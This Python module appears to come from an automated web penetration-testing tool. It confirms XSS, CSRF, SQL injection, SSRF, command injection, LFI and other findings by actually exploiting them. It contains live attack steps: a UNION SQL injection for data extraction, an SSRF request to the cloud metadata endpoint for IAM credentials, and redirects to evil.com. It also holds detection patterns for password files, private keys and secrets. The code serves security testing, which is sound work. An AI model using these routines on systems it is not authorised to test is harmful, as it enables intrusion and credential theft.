"""
BREACH.AI - Shannon-Quality Strict Validator
=============================================

NO EXPLOIT, NO REPORT.

This validator follows Shannon's philosophy:
- Browser automation is MANDATORY for browser-based vulns
- No pattern matching fallbacks
- Screenshot proof REQUIRED for every finding
- Only report what we can ACTUALLY exploit

If Playwright isn't available, browser-based vulnerabilities
simply cannot be validated. That's by design.
"""

import asyncio
import re
import time
from dataclasses import dataclass, field
from typing import Any, Dict, List, Optional, Tuple

import aiohttp

from .browser import BrowserExploiter, ExploitResult, PLAYWRIGHT_AVAILABLE


class PlaywrightRequiredError(Exception):
    """Raised when Playwright is required but not available."""
    pass


@dataclass
class StrictValidationResult:
    """
    Shannon-quality validation result.

    Every field here represents PROOF, not conjecture.
    """
    # Core result
    exploited: bool  # Was it ACTUALLY exploited?

    # Proof artifacts - REQUIRED for exploited=True
    screenshot: Optional[bytes] = None  # Visual proof
    screenshot_hash: Optional[str] = None
    proof_type: str = ""  # What type of proof do we have
    proof_data: Dict = field(default_factory=dict)  # Detailed proof

    # Reproduction
    curl_command: str = ""
    reproduction_steps: List[str] = field(default_factory=list)

    # Metadata
    validator_type: str = ""  # browser, http, hybrid
    validation_time_ms: float = 0
    error: Optional[str] = None

    # Confidence is binary in strict mode
    # Either we exploited it (1.0) or we didn't (0.0)
    @property
    def confidence(self) -> float:
        return 1.0 if self.exploited else 0.0


class StrictExploitationValidator:
    """
    Shannon-quality exploitation validator.

    Philosophy:
    - NO EXPLOIT, NO REPORT
    - Browser validation is MANDATORY for browser-based vulns
    - Pattern matching is NOT validation
    - Screenshot proof is REQUIRED

    This is the validator used in "proven" mode.
    It will REFUSE to validate browser-based vulnerabilities
    without Playwright installed.
    """

    # Vulnerability types that REQUIRE browser
    BROWSER_REQUIRED_TYPES = {
        "xss", "dom_xss", "csrf", "clickjacking",
        "open_redirect", "auth_bypass"
    }

    # Vulnerability types that can be validated via HTTP
    HTTP_VALIDATABLE_TYPES = {
        "sqli", "ssrf", "cmdi", "lfi", "rfi",
        "nosql", "ssti", "xxe", "sensitive_file"
    }

    def __init__(
        self,
        session: aiohttp.ClientSession,
        timeout: int = 30,
    ):
        self.session = session
        self.timeout = timeout
        self._browser: Optional[BrowserExploiter] = None
        self._baseline_cache: Dict[str, str] = {}

        # Check Playwright availability upfront
        if not PLAYWRIGHT_AVAILABLE:
            import warnings
            warnings.warn(
                "Playwright not available. Browser-based vulnerability validation "
                "will be SKIPPED. Install with: pip install playwright && playwright install",
                UserWarning
            )

    async def __aenter__(self):
        """Initialize browser."""
        if PLAYWRIGHT_AVAILABLE:
            self._browser = BrowserExploiter(
                headless=True,
                timeout_ms=self.timeout * 1000,
                screenshot=True,  # ALWAYS capture screenshots
                record_network=True,
                record_console=True,
            )
            await self._browser.__aenter__()
        return self

    async def __aexit__(self, *args):
        """Cleanup browser."""
        if self._browser:
            await self._browser.__aexit__(*args)

    async def validate(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> StrictValidationResult:
        """
        Validate a finding through ACTUAL exploitation.

        Returns StrictValidationResult with exploited=True ONLY if
        we successfully exploited the vulnerability with proof.
        """
        start_time = time.time()
        category = finding.category.lower()

        # Check if this requires browser
        if category in self.BROWSER_REQUIRED_TYPES:
            if not self._browser:
                # NO BROWSER = NO VALIDATION for browser-based vulns
                return StrictValidationResult(
                    exploited=False,
                    error="Browser required but Playwright not available",
                    validator_type="skipped",
                    validation_time_ms=(time.time() - start_time) * 1000,
                )

        # Route to appropriate validator
        validators = {
            # Browser-based (REQUIRE Playwright)
            "xss": self._validate_xss_strict,
            "dom_xss": self._validate_dom_xss_strict,
            "csrf": self._validate_csrf_strict,
            "clickjacking": self._validate_clickjacking_strict,
            "open_redirect": self._validate_open_redirect_strict,
            "auth_bypass": self._validate_auth_bypass_strict,

            # HTTP-based (can work without browser)
            "sqli": self._validate_sqli_strict,
            "ssrf": self._validate_ssrf_strict,
            "cmdi": self._validate_cmdi_strict,
            "lfi": self._validate_lfi_strict,
            "nosql": self._validate_nosql_strict,
            "ssti": self._validate_ssti_strict,
            "sensitive_file": self._validate_sensitive_file_strict,
        }

        validator = validators.get(category)
        if not validator:
            return StrictValidationResult(
                exploited=False,
                error=f"No strict validator for category: {category}",
                validation_time_ms=(time.time() - start_time) * 1000,
            )

        try:
            result = await validator(finding, cookies)
            result.validation_time_ms = (time.time() - start_time) * 1000
            return result
        except Exception as e:
            return StrictValidationResult(
                exploited=False,
                error=str(e),
                validation_time_ms=(time.time() - start_time) * 1000,
            )

    # =========================================================================
    # BROWSER-BASED VALIDATORS (Require Playwright)
    # =========================================================================

    async def _validate_xss_strict(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> StrictValidationResult:
        """
        Strict XSS validation - REQUIRES browser execution.

        Proof: JavaScript ACTUALLY executed (alert intercepted, DOM modified, etc.)
        """
        if not self._browser:
            return StrictValidationResult(
                exploited=False,
                error="XSS validation REQUIRES browser",
                validator_type="browser_required",
            )

        exploit_result = await self._browser.exploit_xss(
            url=finding.endpoint,
            parameter=finding.parameter,
            payload=finding.payload,
            method=finding.method,
            cookies=cookies,
        )

        if not exploit_result.success:
            return StrictValidationResult(
                exploited=False,
                error=exploit_result.error or "XSS payload did not execute",
                validator_type="browser",
            )

        # SUCCESS - XSS actually executed
        return StrictValidationResult(
            exploited=True,
            screenshot=exploit_result.screenshot,
            screenshot_hash=exploit_result.screenshot_hash,
            proof_type=exploit_result.proof_type,
            proof_data=exploit_result.proof_data,
            curl_command=self._build_curl(finding),
            reproduction_steps=[
                f"1. Navigate to: {finding.endpoint}",
                f"2. Set parameter '{finding.parameter}' to: {finding.payload}",
                f"3. Observe JavaScript execution: {exploit_result.proof_type}",
                f"4. Screenshot captured as proof",
            ],
            validator_type="browser",
        )

    async def _validate_dom_xss_strict(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> StrictValidationResult:
        """Strict DOM XSS validation."""
        if not self._browser:
            return StrictValidationResult(
                exploited=False,
                error="DOM XSS validation REQUIRES browser",
                validator_type="browser_required",
            )

        exploit_result = await self._browser.exploit_dom_xss(
            url=finding.endpoint,
            payload=finding.payload,
            source=finding.parameter or "location.hash",
            cookies=cookies,
        )

        if not exploit_result.success:
            return StrictValidationResult(
                exploited=False,
                error=exploit_result.error or "DOM XSS did not execute",
                validator_type="browser",
            )

        return StrictValidationResult(
            exploited=True,
            screenshot=exploit_result.screenshot,
            screenshot_hash=exploit_result.screenshot_hash,
            proof_type=exploit_result.proof_type,
            proof_data=exploit_result.proof_data,
            curl_command=f"# DOM XSS - open in browser:\n# {finding.endpoint}#{finding.payload}",
            reproduction_steps=[
                f"1. Open browser",
                f"2. Navigate to: {finding.endpoint}#{finding.payload}",
                f"3. Observe DOM XSS execution",
            ],
            validator_type="browser",
        )

    async def _validate_csrf_strict(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> StrictValidationResult:
        """Strict CSRF validation - requires browser to verify state change."""
        if not self._browser:
            return StrictValidationResult(
                exploited=False,
                error="CSRF validation REQUIRES browser",
                validator_type="browser_required",
            )

        # For CSRF, we need to know the action URL and expected state change
        action_url = finding.endpoint
        action_data = {}

        # Try to extract form data from finding
        if hasattr(finding, 'evidence') and isinstance(finding.evidence, dict):
            action_data = finding.evidence.get('form_data', {})

        exploit_result = await self._browser.exploit_csrf(
            target_url=finding.endpoint,
            action_url=action_url,
            action_method=finding.method or "POST",
            action_data=action_data,
            cookies=cookies,
        )

        if not exploit_result.success:
            return StrictValidationResult(
                exploited=False,
                error="CSRF did not cause state change",
                validator_type="browser",
            )

        return StrictValidationResult(
            exploited=True,
            screenshot=exploit_result.screenshot,
            screenshot_hash=exploit_result.screenshot_hash,
            proof_type="csrf_state_change",
            proof_data=exploit_result.proof_data,
            reproduction_steps=[
                "1. User is logged into target site",
                "2. User visits attacker page with CSRF form",
                "3. Form auto-submits to target",
                "4. State change occurs without user consent",
            ],
            validator_type="browser",
        )

    async def _validate_clickjacking_strict(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> StrictValidationResult:
        """Strict clickjacking validation."""
        if not self._browser:
            return StrictValidationResult(
                exploited=False,
                error="Clickjacking validation REQUIRES browser",
                validator_type="browser_required",
            )

        exploit_result = await self._browser.exploit_clickjacking(
            url=finding.endpoint,
            cookies=cookies,
        )

        if not exploit_result.success:
            return StrictValidationResult(
                exploited=False,
                error="Page cannot be framed (X-Frame-Options working)",
                validator_type="browser",
            )

        return StrictValidationResult(
            exploited=True,
            screenshot=exploit_result.screenshot,
            screenshot_hash=exploit_result.screenshot_hash,
            proof_type="iframe_embeddable",
            proof_data=exploit_result.proof_data,
            reproduction_steps=[
                "1. Create attacker page with invisible iframe",
                f"2. Set iframe src to: {finding.endpoint}",
                "3. Overlay fake UI elements",
                "4. User clicks thinking they're clicking overlay",
                "5. Actually clicking on framed page",
            ],
            validator_type="browser",
        )

    async def _validate_open_redirect_strict(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> StrictValidationResult:
        """Strict open redirect validation."""
        if not self._browser:
            return StrictValidationResult(
                exploited=False,
                error="Open redirect validation REQUIRES browser",
                validator_type="browser_required",
            )

        exploit_result = await self._browser.exploit_open_redirect(
            url=finding.endpoint,
            parameter=finding.parameter,
            redirect_target="https://evil.com",
            cookies=cookies,
        )

        if not exploit_result.success:
            return StrictValidationResult(
                exploited=False,
                error="Redirect to external domain not confirmed",
                validator_type="browser",
            )

        return StrictValidationResult(
            exploited=True,
            screenshot=exploit_result.screenshot,
            screenshot_hash=exploit_result.screenshot_hash,
            proof_type="external_redirect",
            proof_data=exploit_result.proof_data,
            curl_command=self._build_curl(finding),
            reproduction_steps=[
                f"1. Navigate to: {finding.endpoint}",
                f"2. Set {finding.parameter} to: https://evil.com",
                f"3. Observe redirect to external domain",
            ],
            validator_type="browser",
        )

    async def _validate_auth_bypass_strict(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> StrictValidationResult:
        """Strict auth bypass validation."""
        if not self._browser:
            return StrictValidationResult(
                exploited=False,
                error="Auth bypass validation REQUIRES browser",
                validator_type="browser_required",
            )

        # Extract login credentials from payload
        payload_data = {"username": finding.payload, "password": finding.payload}

        exploit_result = await self._browser.exploit_auth_bypass(
            login_url=finding.endpoint,
            protected_url=finding.endpoint.replace("/login", "/dashboard"),
            bypass_method=finding.category,
            payload=payload_data,
            cookies=cookies,
        )

        if not exploit_result.success:
            return StrictValidationResult(
                exploited=False,
                error="Auth bypass did not grant access to protected resource",
                validator_type="browser",
            )

        return StrictValidationResult(
            exploited=True,
            screenshot=exploit_result.screenshot,
            screenshot_hash=exploit_result.screenshot_hash,
            proof_type="authenticated_access",
            proof_data=exploit_result.proof_data,
            reproduction_steps=[
                f"1. Navigate to login: {finding.endpoint}",
                f"2. Enter bypass payload: {finding.payload}",
                "3. Submit form",
                "4. Access protected resource without valid credentials",
            ],
            validator_type="browser",
        )

    # =========================================================================
    # HTTP-BASED VALIDATORS (No browser required)
    # =========================================================================

    async def _validate_sqli_strict(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> StrictValidationResult:
        """
        Strict SQL injection validation.

        Proof REQUIRED: SQL error OR data extraction OR time delay.
        Pattern matching alone is NOT proof.
        """
        url = finding.endpoint
        param = finding.parameter
        payload = finding.payload
        method = finding.method

        # Time-based detection
        if any(t in payload.lower() for t in ["sleep", "waitfor", "benchmark"]):
            return await self._validate_sqli_time_strict(finding, cookies)

        # Get baseline
        baseline = await self._get_baseline(url, param, method, cookies)

        # Send payload
        body, elapsed, status = await self._send_payload(url, param, payload, method, cookies)

        # SQL error patterns - ONLY these count as proof
        sql_errors = [
            (r"you have an error in your sql syntax", "MySQL"),
            (r"mysql.*error", "MySQL"),
            (r"warning.*mysql", "MySQL"),
            (r"unclosed quotation mark", "MSSQL"),
            (r"quoted string not properly terminated", "Oracle"),
            (r"pg_.*error|postgres.*error", "PostgreSQL"),
            (r"sqlite.*error", "SQLite"),
            (r"ora-\d{5}", "Oracle"),
        ]

        # Check for SQL errors NOT in baseline
        for pattern, db_type in sql_errors:
            if re.search(pattern, body, re.IGNORECASE):
                if not re.search(pattern, baseline, re.IGNORECASE):
                    # CONFIRMED - SQL error triggered
                    # Try to extract data for extra proof
                    extracted = await self._extract_sqli_data(url, param, method, cookies)

                    return StrictValidationResult(
                        exploited=True,
                        proof_type="sql_error",
                        proof_data={
                            "database": db_type,
                            "error_triggered": True,
                            "extracted_data": extracted,
                        },
                        curl_command=self._build_curl(finding),
                        reproduction_steps=[
                            f"1. Send payload: {payload}",
                            f"2. Observe {db_type} error in response",
                            f"3. Database: {db_type}",
                        ],
                        validator_type="http",
                    )

        # UNION-based data extraction
        if "union" in payload.lower():
            data_patterns = [
                (r'([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,})', "email"),
                (r'(\$2[aby]?\$\d+\$[./A-Za-z0-9]{53})', "bcrypt_hash"),
                (r'([a-f0-9]{32})', "md5_hash"),
                (r'(root:x?:0:0:)', "passwd_entry"),
            ]

            extracted = []
            for pattern, dtype in data_patterns:
                matches = re.findall(pattern, body)
                baseline_matches = set(re.findall(pattern, baseline))
                new_matches = [m for m in matches if m not in baseline_matches]
                if new_matches:
                    extracted.extend([(dtype, m) for m in new_matches[:5]])

            if extracted:
                return StrictValidationResult(
                    exploited=True,
                    proof_type="data_extraction",
                    proof_data={
                        "extraction_method": "union",
                        "items_extracted": len(extracted),
                        "samples": extracted[:10],
                    },
                    curl_command=self._build_curl(finding),
                    validator_type="http",
                )

        # NO PROOF = NOT EXPLOITED
        return StrictValidationResult(
            exploited=False,
            error="No SQL error or data extraction confirmed",
            validator_type="http",
        )

    async def _validate_sqli_time_strict(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> StrictValidationResult:
        """Time-based blind SQLi - requires consistent delay."""
        url = finding.endpoint
        param = finding.parameter
        payload = finding.payload
        method = finding.method

        required_delay = 4.5  # seconds

        # Test 3 times for consistency
        delays = []
        for _ in range(3):
            _, elapsed, _ = await self._send_payload(url, param, payload, method, cookies)
            delays.append(elapsed)
            await asyncio.sleep(0.5)

        # Need at least 2/3 successful delays
        successful = sum(1 for d in delays if d >= required_delay)
        if successful < 2:
            return StrictValidationResult(
                exploited=False,
                error=f"Time delay not consistent: {delays}",
                validator_type="http",
            )

        # Verify baseline isn't slow
        baseline_delays = []
        for _ in range(2):
            _, elapsed, _ = await self._send_payload(url, param, "safe_value", method, cookies)
            baseline_delays.append(elapsed)

        avg_baseline = sum(baseline_delays) / len(baseline_delays)
        if avg_baseline >= required_delay - 1:
            return StrictValidationResult(
                exploited=False,
                error=f"Baseline also slow ({avg_baseline:.1f}s) - server latency",
                validator_type="http",
            )

        return StrictValidationResult(
            exploited=True,
            proof_type="time_delay",
            proof_data={
                "payload_delays": delays,
                "baseline_avg": avg_baseline,
                "required_delay": required_delay,
            },
            curl_command=self._build_curl(finding),
            reproduction_steps=[
                f"1. Send time-delay payload: {payload}",
                f"2. Measure response time: {sum(delays)/len(delays):.1f}s avg",
                f"3. Compare to baseline: {avg_baseline:.1f}s",
            ],
            validator_type="http",
        )

    async def _validate_ssrf_strict(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> StrictValidationResult:
        """Strict SSRF validation - requires internal data access."""
        url = finding.endpoint
        param = finding.parameter
        payload = finding.payload
        method = finding.method

        baseline = await self._get_baseline(url, param, method, cookies)
        body, _, status = await self._send_payload(url, param, payload, method, cookies)

        # Cloud metadata indicators - PROOF of SSRF
        metadata_proofs = [
            (r'ami-[a-z0-9]+', "AWS AMI ID"),
            (r'i-[a-z0-9]{8,17}', "AWS Instance ID"),
            (r'arn:aws:', "AWS ARN"),
            (r'AKIA[A-Z0-9]{16}', "AWS Access Key"),
            (r'computeMetadata', "GCP Metadata"),
            (r'instance/zone', "GCP Zone"),
            (r'"accountId"\s*:\s*"\d+', "Cloud Account"),
        ]

        for pattern, indicator in metadata_proofs:
            if re.search(pattern, body) and not re.search(pattern, baseline):
                # Extract credentials if possible
                creds = await self._extract_cloud_creds(url, param, method, cookies)

                return StrictValidationResult(
                    exploited=True,
                    proof_type="cloud_metadata_access",
                    proof_data={
                        "indicator": indicator,
                        "credentials_extracted": bool(creds),
                        "credentials": creds,
                    },
                    curl_command=self._build_curl(finding),
                    reproduction_steps=[
                        f"1. Set {param} to metadata endpoint",
                        f"2. Observe cloud metadata in response",
                        f"3. Found: {indicator}",
                    ],
                    validator_type="http",
                )

        return StrictValidationResult(
            exploited=False,
            error="No internal data or cloud metadata accessed",
            validator_type="http",
        )

    async def _validate_cmdi_strict(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> StrictValidationResult:
        """Strict command injection - requires command output."""
        url = finding.endpoint
        param = finding.parameter
        payload = finding.payload
        method = finding.method

        baseline = await self._get_baseline(url, param, method, cookies)
        body, _, _ = await self._send_payload(url, param, payload, method, cookies)

        # Command output patterns - PROOF of execution
        cmd_proofs = [
            (r'uid=\d+\([^)]+\)\s+gid=\d+', "id command"),
            (r'root:x?:0:0:', "/etc/passwd"),
            (r'Linux \w+ \d+\.\d+', "uname output"),
            (r'total \d+\s*\ndrwx', "ls -la output"),
        ]

        for pattern, indicator in cmd_proofs:
            if re.search(pattern, body) and not re.search(pattern, baseline):
                return StrictValidationResult(
                    exploited=True,
                    proof_type="command_output",
                    proof_data={
                        "output_type": indicator,
                        "pattern_matched": pattern,
                    },
                    curl_command=self._build_curl(finding),
                    reproduction_steps=[
                        f"1. Inject command: {payload}",
                        f"2. Observe {indicator} in response",
                    ],
                    validator_type="http",
                )

        return StrictValidationResult(
            exploited=False,
            error="No command output detected",
            validator_type="http",
        )

    async def _validate_lfi_strict(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> StrictValidationResult:
        """Strict LFI validation - requires file content."""
        url = finding.endpoint
        param = finding.parameter
        payload = finding.payload
        method = finding.method

        baseline = await self._get_baseline(url, param, method, cookies)
        body, _, _ = await self._send_payload(url, param, payload, method, cookies)

        # File content patterns - PROOF of LFI
        file_proofs = [
            (r'root:.*?:0:0:', "/etc/passwd"),
            (r'\[extensions\]', "win.ini"),
            (r'<\?php', "PHP source"),
            (r'-----BEGIN.*PRIVATE KEY-----', "Private key"),
            (r'DB_PASSWORD\s*=', "Environment file"),
        ]

        for pattern, indicator in file_proofs:
            if re.search(pattern, body, re.IGNORECASE):
                if not re.search(pattern, baseline, re.IGNORECASE):
                    return StrictValidationResult(
                        exploited=True,
                        proof_type="file_content",
                        proof_data={
                            "file_type": indicator,
                            "content_sample": body[:500],
                        },
                        curl_command=self._build_curl(finding),
                        validator_type="http",
                    )

        return StrictValidationResult(
            exploited=False,
            error="No file content extracted",
            validator_type="http",
        )

    async def _validate_nosql_strict(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> StrictValidationResult:
        """Strict NoSQL injection validation."""
        url = finding.endpoint
        param = finding.parameter
        payload = finding.payload
        method = finding.method

        # Test baseline vs payload
        baseline_body, _, baseline_status = await self._send_payload_raw(
            url, param, "test", method, cookies
        )
        body, _, status = await self._send_payload_raw(
            url, param, payload, method, cookies
        )

        # Auth bypass proof
        if baseline_status in [401, 403] and status == 200:
            return StrictValidationResult(
                exploited=True,
                proof_type="auth_bypass",
                proof_data={
                    "baseline_status": baseline_status,
                    "bypassed_status": status,
                },
                curl_command=self._build_curl(finding),
                validator_type="http",
            )

        # Data exposure proof
        if len(body) > len(baseline_body) * 2 and len(body) > 500:
            return StrictValidationResult(
                exploited=True,
                proof_type="data_exposure",
                proof_data={
                    "baseline_size": len(baseline_body),
                    "payload_size": len(body),
                    "ratio": len(body) / max(len(baseline_body), 1),
                },
                curl_command=self._build_curl(finding),
                validator_type="http",
            )

        return StrictValidationResult(
            exploited=False,
            error="No auth bypass or data exposure confirmed",
            validator_type="http",
        )

    async def _validate_ssti_strict(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> StrictValidationResult:
        """Strict SSTI validation - requires template evaluation."""
        url = finding.endpoint
        param = finding.parameter
        payload = finding.payload
        method = finding.method

        baseline = await self._get_baseline(url, param, method, cookies)
        body, _, _ = await self._send_payload(url, param, payload, method, cookies)

        # Check for math evaluation - PROOF of SSTI
        evaluations = [
            ("{{7*7}}", "49"),
            ("${7*7}", "49"),
            ("{{7*'7'}}", "7777777"),
        ]

        for test, expected in evaluations:
            if test in payload or expected in body:
                if expected in body and expected not in baseline:
                    return StrictValidationResult(
                        exploited=True,
                        proof_type="template_evaluation",
                        proof_data={
                            "expression": test,
                            "result": expected,
                        },
                        curl_command=self._build_curl(finding),
                        validator_type="http",
                    )

        return StrictValidationResult(
            exploited=False,
            error="Template evaluation not confirmed",
            validator_type="http",
        )

    async def _validate_sensitive_file_strict(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> StrictValidationResult:
        """Strict sensitive file validation."""
        url = finding.endpoint

        try:
            async with self.session.get(
                url, cookies=cookies, ssl=False, timeout=self.timeout
            ) as response:
                if response.status != 200:
                    return StrictValidationResult(
                        exploited=False,
                        error=f"File not accessible (status {response.status})",
                        validator_type="http",
                    )

                body = await response.text()

                # Check for actual sensitive content
                if ".env" in url and "=" in body and len(body) > 10:
                    secrets = re.findall(
                        r'((?:PASSWORD|SECRET|KEY|TOKEN|API)[A-Z_]*=\S+)',
                        body, re.IGNORECASE
                    )
                    if secrets:
                        return StrictValidationResult(
                            exploited=True,
                            proof_type="secrets_exposed",
                            proof_data={
                                "secrets_count": len(secrets),
                                "secrets_redacted": [s.split("=")[0] + "=***" for s in secrets[:5]],
                            },
                            curl_command=f"curl '{url}'",
                            validator_type="http",
                        )

                if ".git" in url and ("ref:" in body or "[core]" in body):
                    return StrictValidationResult(
                        exploited=True,
                        proof_type="git_exposed",
                        proof_data={"content_sample": body[:200]},
                        curl_command=f"curl '{url}'",
                        validator_type="http",
                    )

        except Exception as e:
            return StrictValidationResult(
                exploited=False,
                error=str(e),
                validator_type="http",
            )

        return StrictValidationResult(
            exploited=False,
            error="No sensitive content confirmed",
            validator_type="http",
        )

    # =========================================================================
    # HELPER METHODS
    # =========================================================================

    async def _get_baseline(
        self, url: str, param: str, method: str, cookies: Dict = None
    ) -> str:
        """Get baseline response."""
        cache_key = f"{method}:{url}:{param}"
        if cache_key in self._baseline_cache:
            return self._baseline_cache[cache_key]

        body, _, _ = await self._send_payload(url, param, "safe_test", method, cookies)
        self._baseline_cache[cache_key] = body
        return body

    async def _send_payload(
        self, url: str, param: str, payload: str, method: str, cookies: Dict = None
    ) -> Tuple[str, float, int]:
        """Send URL-encoded payload."""
        from urllib.parse import quote
        try:
            start = time.time()
            if method.upper() == "GET":
                sep = "&" if "?" in url else "?"
                test_url = f"{url}{sep}{param}={quote(str(payload))}"
                async with self.session.get(
                    test_url, cookies=cookies, ssl=False, timeout=self.timeout
                ) as resp:
                    return await resp.text(), time.time() - start, resp.status
            else:
                async with self.session.post(
                    url, data={param: payload}, cookies=cookies, ssl=False, timeout=self.timeout
                ) as resp:
                    return await resp.text(), time.time() - start, resp.status
        except asyncio.TimeoutError:
            return "", self.timeout, 0
        except:
            return "", 0, 0

    async def _send_payload_raw(
        self, url: str, param: str, payload: str, method: str, cookies: Dict = None
    ) -> Tuple[str, float, int]:
        """Send raw payload (no encoding)."""
        try:
            start = time.time()
            if method.upper() == "GET":
                sep = "&" if "?" in url else "?"
                test_url = f"{url}{sep}{param}={payload}"
                async with self.session.get(
                    test_url, cookies=cookies, ssl=False, timeout=self.timeout
                ) as resp:
                    return await resp.text(), time.time() - start, resp.status
            else:
                async with self.session.post(
                    url, json={param: payload}, cookies=cookies, ssl=False, timeout=self.timeout
                ) as resp:
                    return await resp.text(), time.time() - start, resp.status
        except:
            return "", 0, 0

    async def _extract_sqli_data(
        self, url: str, param: str, method: str, cookies: Dict
    ) -> Dict:
        """Try to extract data via SQLi."""
        extracted = {}
        for func in ["version()", "@@version", "user()"]:
            payload = f"' UNION SELECT {func}--"
            body, _, _ = await self._send_payload(url, param, payload, method, cookies)
            if match := re.search(r'(\d+\.\d+\.\d+[-\w]*)', body):
                extracted["db_version"] = match.group(1)
                break
        return extracted

    async def _extract_cloud_creds(
        self, url: str, param: str, method: str, cookies: Dict
    ) -> Dict:
        """Extract cloud credentials via SSRF."""
        creds = {}
        role_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
        body, _, status = await self._send_payload(url, param, role_url, method, cookies)

        if status == 200 and body:
            role = body.strip().split("\n")[0]
            if role and not role.startswith("<"):
                creds["iam_role"] = role

        return creds

    def _build_curl(self, finding: Any) -> str:
        """Build curl command for reproduction."""
        from urllib.parse import quote
        url = finding.endpoint
        param = finding.parameter
        payload = quote(str(finding.payload))
        method = finding.method

        if method.upper() == "GET":
            sep = "&" if "?" in url else "?"
            return f"curl '{url}{sep}{param}={payload}'"
        else:
            return f"curl -X POST '{url}' -d '{param}={payload}'"
